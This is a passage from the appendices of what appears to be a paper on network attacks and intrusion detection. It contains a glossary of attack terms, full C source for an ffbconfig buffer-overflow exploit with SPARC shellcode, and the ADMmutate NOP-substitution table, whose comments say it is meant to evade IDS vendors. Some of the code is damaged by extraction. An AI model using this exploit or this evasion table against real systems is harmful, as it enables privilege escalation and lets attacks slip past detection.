<td>An attack that alters the Domain Name System (DNS) so that a DNS lookup for a computer name returns an unintended IP address E-mail forgery: An attack that constructs e-mail messages to appear as if originating from another person or source</td>
</tr>
<tr>
<td>E-mail relay</td>
<td>An attack that bounces messages into a spam filtering mail system through an unsuspecting, third-party mail system that is not on the filtering list</td>
</tr>
<tr>
<td>IP spoofing</td>
<td>A form of masquerading in which the sender of an Internet data packet forges the originating IP address so that the packet appears to have been sent by another system</td>
</tr>
<tr>
<td>Keystroke monitoring</td>
<td>Using a hardware or software mechanism to capture user keyboard strokes and report the strokes to a hacker</td>
</tr>
<tr>
<td>Logic bomb</td>
<td>Clandestine code triggered by a certain set of conditions, such as a particular date or a combination of inputs</td>
</tr>
<tr>
<td>Mail bombing</td>
<td>Overloading an e-mail system by sending large volumes of messages (also known as e-mail flooding)</td>
</tr>
<tr>
<td>Masquerading</td>
<td>Posing as an authorized entity</td>
</tr>
<tr>
<td>Network scanning</td>
<td>Using standard network protocols to determine topology and service access points of a target network</td>
</tr>
<tr>
<td>Packet sniffing</td>
<td>Copying data in transit on a network link, usually with a network transceiver in “promiscuous mode”</td>
</tr>
<tr>
<td>Password cracking</td>
<td>Trying words from a dictionary to ascertain a user password</td>
</tr>
<tr>
<td>Ping flooding</td>
<td>Sending a large number of Internet Control Message Protocol (ICMP) “echo” requests to a target system, causing it to divert significant resources to handling them</td>
</tr>
<tr>
<td>Replay attack</td>
<td>An attack in which network transmissions, usually authentication sequences such as user login information, are recorded (see packet sniffing) and later resent by a masquerader</td>
</tr>
<tr>
<td>Script kiddies</td>
<td>Inexperienced hackers who use prepackaged software to conduct attacks against well-known vulnerabilities</td>
</tr>
<tr>
<td>Security audit tools</td>
<td>Software tools that probe systems to discover vulnerabilities so that attackers can quickly identify easy targets (also used as a defense)</td>
</tr>
<tr>
<td>Shell escapes</td>
<td>User input, usually to a Web-based forms processor supported by a Common Gateway Interface (CGI) scripting utility that contains OS commands to be executed unintentionally by a command interpreter</td>
</tr>
</tbody>
</table>
Shoulder surfing: Acquiring data by observing user interaction with computer I/O devices, such as monitors or touch screens (often accomplished using magnification devices from a distance)

Smurfing: Combination of IP spoofing and ping flooding in which ICMP echo requests and the target subnet address are sent to a group of unsuspecting accomplice systems, which then generate replies to broadcast addresses on the target sub-network

Social engineering: Using human relationships and interactions to obtain unauthorized access or confidential information

SYN flooding: Beginning Transmission Control Protocol (TCP) sessions with a target system by sending initial synchronization requests but not acknowledging responses, causing the number of open connections on the target system to increase and consume resources

Traffic analysis: Observation of network traffic patterns to deduce confidential information, such as communication habits and frequency (also used as a defense)

Trapdoor: Undocumented program behavior triggered by a secret input sequence to give a perpetrator special privileges

Trojan horse: A software program that is advertised to fulfill a useful function but is actually malicious

van Eck attack: The use of sophisticated reception equipment to capture and decode electromagnetic signals from computer output devices at a distance

Virus: Code fragment inserted into a legitimate program (a process called infection) to steal processor cycles during which new programs are found and infected

War dialing: Automated dialing of every telephone number on a common exchange for the purpose of finding numbers that are connected to computer systems

Worm: A self-replicating program or virus that uses network connections to propagate to new systems

Appendix B: Code for the ffb exploit

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH 128
#define EXTRA 256
#define STACK_OFFSET 128
#define SPARC_NOP 0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\xa0\x9c\x03\xa0\x80\x0a"
"\xc9\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff"
```

86
u_long get_sp(void)
{
    __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
    char buf[BUF_LENGTH + EXTRA];
    long targ_addr;
    u_long *long_p;
    u_char *char_p;
    int i, code_length = strlen(sparc_shellcode),so;

    long_p = (u_long *) buf;
    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = SPARC_NOP;

    char_p = (u_char *) long_p;
    for (i = 0; i < code_length; i++)
        *char_p++ = sparc_shellcode[i];

    long_p = (u_long *) char_p;
    targ_addr = get_sp() - STACK_OFFSET;
    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = targ_addr;

    printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", 
            targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
    execl("/usr/sbin/ffbconfig", "ffbconfig", ";-dev", buf,(char *) 0);
    perror("execl failed");
}

Appendix C: Intel NOPs listed in ADMMUTATE source code along with comments from the author

/ *
    these are 0x90 alternatives, this struct is getting big YAY@
    all \x42 are dynamic, these are pseudo-randomly called, I just thought
    I'd
    mix em up a lil just incase, feel free to mix them yourself, to
    maintain some
    chaos for nIDS vend0r :) BTW: I havent had time to test out each and
    every
    OP here, some may be problematic :/

    There are 28 suitable 1 byte NOP replacements, more then 1/10' th the
address
space (of a byte), available. If you add any remember to update ADMutapi.h

Tune the last byte in the junk struct to add to the frequency (weight) of this code appearing in the generated nopl lead

/*
struct junk intel_njunk[IA32_JUNKS] = {
    {"\x90",1,0,1,1,1,0,0,1 }, /* regular NOP */
    {"\xcb\xe8\x42",3,0,1,1,1,1,2,1 }, /* shr N,%eax */
    {"\x4d",1,1,0,0,0,0,1 }, /* dec %ebp, "M" */
    {"\x6b\xcb\x42",3,0,1,1,1,1,2,1 }, /* imul N,%eax */
    {"\x48",1,1,1,0,0,0,0,1 }, /* dec %eax, "H" */
    {"\x33\xcb0",2,0,1,1,1,0,0,1 }, /* xor %eax,%eax */
    {"\x4f",1,1,1,1,0,0,0,1 }, /* inc %eax "O" */
    {"\x8c\xcb0",2,0,1,1,1,0,0,1 }, /* mov %es,%eax */
    {"\x41",1,1,0,1,0,0,0,1 }, /* inc %ecx "A" */
    {"\x37",1,1,1,1,1,0,0,1 }, /* aaa "7" */
    {"\x3f",1,1,1,0,0,0,1 }, /* as "?" */
    {"\x97",1,1,1,1,1,0,0,1 }, /* xchg %eax,%edi */
    {"\xf8",1,1,1,1,0,0,0,1 }, /* clc */
    {"\x92",1,1,1,1,1,0,0,1 }, /* xchg %eax,%edx */
    {"\xfc",1,1,1,1,0,0,0,1 }, /* cl "d" */
    {"\xf5",1,1,1,1,1,0,0,1 }, /* cmc */
    {"\x87\xdb",2,0,1,1,1,0,0,1 }, /* xchg %ebx,%ebx */
    {"\x98",1,1,1,1,0,0,0,1 }, /* cwtl */
    {"\x27",1,1,1,1,1,0,0,1 }, /* daa "!" */
    {"\x87\xc9",2,0,1,1,1,0,0,1 }, /* xchg %ecx,%ecx */
    {"\xe",1,1,1,1,0,0,0,1 }, /* das "\\" */
    {"\x9f",1,1,1,1,1,0,0,1 }, /* lahf */
    {"\x87\xd2",2,0,1,1,1,0,0,1 }, /* xchg %edx,%edx */
    {"\xf9",1,1,1,1,1,0,0,1 }, /* stc */
    {"\x83\xf0\x42",3,0,1,1,1,1,2,1 }, /* xor N,%eax */
    {"\x99",1,1,1,0,0,0,0,1 }, /* cltd */
    {"\x4a",1,1,0,1,0,0,0,1 }, /* dec %edx "J" */
    {"\x8c\xe0",2,0,1,1,1,0,0,1 }, /* mov %fs,%eax */
    {"\x44",1,1,0,1,0,0,0,1 }, /* inc %esp "D" */
    {"\xcb\xc0\x42",3,0,1,1,1,1,2,1 }, /* rol N,%eax */
    {"\x42",1,1,1,0,0,0,0,1 }, /* inc %edx "B" */
    {"\x83\xfb\x42",3,0,0,1,1,1,2,1 }, /* cmp N,%ebx */
    {"\x85\xcb0",2,0,1,1,1,0,0,1 }, /* test %eax,%eax */
    {"\xc1\xb8\x42",3,0,1,1,1,1,2,1 }, /* rol N,%eax */
    {"\x43",1,1,0,1,0,0,0,1 }, /* inc %ebx "C" */
    {"\x83\xc8\x42",3,0,1,1,1,1,2,1 }, /* or N,%eax */
    {"\x49",1,1,0,1,0,0,0,1 }, /* dec %ecx "I" */
    {"\x83\xe8\x42",3,0,1,1,1,1,2,1 }, /* sub N,%eax */
    {"\xb",1,1,0,1,0,0,0,1 }, /* dec %ebx "K" */
    {"\x83\xfa\x42",3,0,0,1,1,1,2,1 }, /* cmp N,%edx */
    {"\xf\xdb",2,0,1,1,1,0,0,1 }, /* not %eax */
    {"\x83\xf9\x42",3,0,0,1,1,1,2,1 }, /* cmp N,%ecx */
    {"\xf9",1,1,1,1,1,0,0,1 }, /* stc */
    {"\x8c\xe8",2,0,1,1,1,0,0,1 }, /* mov %gs,%eax */
    {"\xf5",1,1,1,1,1,0,0,1 }, /* cmc */
    {"\x83\xe0\x42",3,0,1,1,1,1,2,1 }, /* and N,%eax */
    {"\x8b\x42",2,0,1,1,1,1,1,1 }, /* mov N,%eax */
    {"\x45",1,1,0,1,0,0,0,1 }, /* inc %ebp "E" */
    {"\x83\xf8\x42",3,0,1,1,1,1,2,1 }, /* cmp N,%eax */
}
{ "\\x4c",1,1,0,1,0,0,0,1 },  /* dec %esp "L" */
{ "\\x83\\xc0\\x42",3,0,1,1,1,1,2,1 }  /* add N,%eax, N (\\x42) will be
dynamically loaded from good_keys (aka. list of char that are allowed) */
);
References


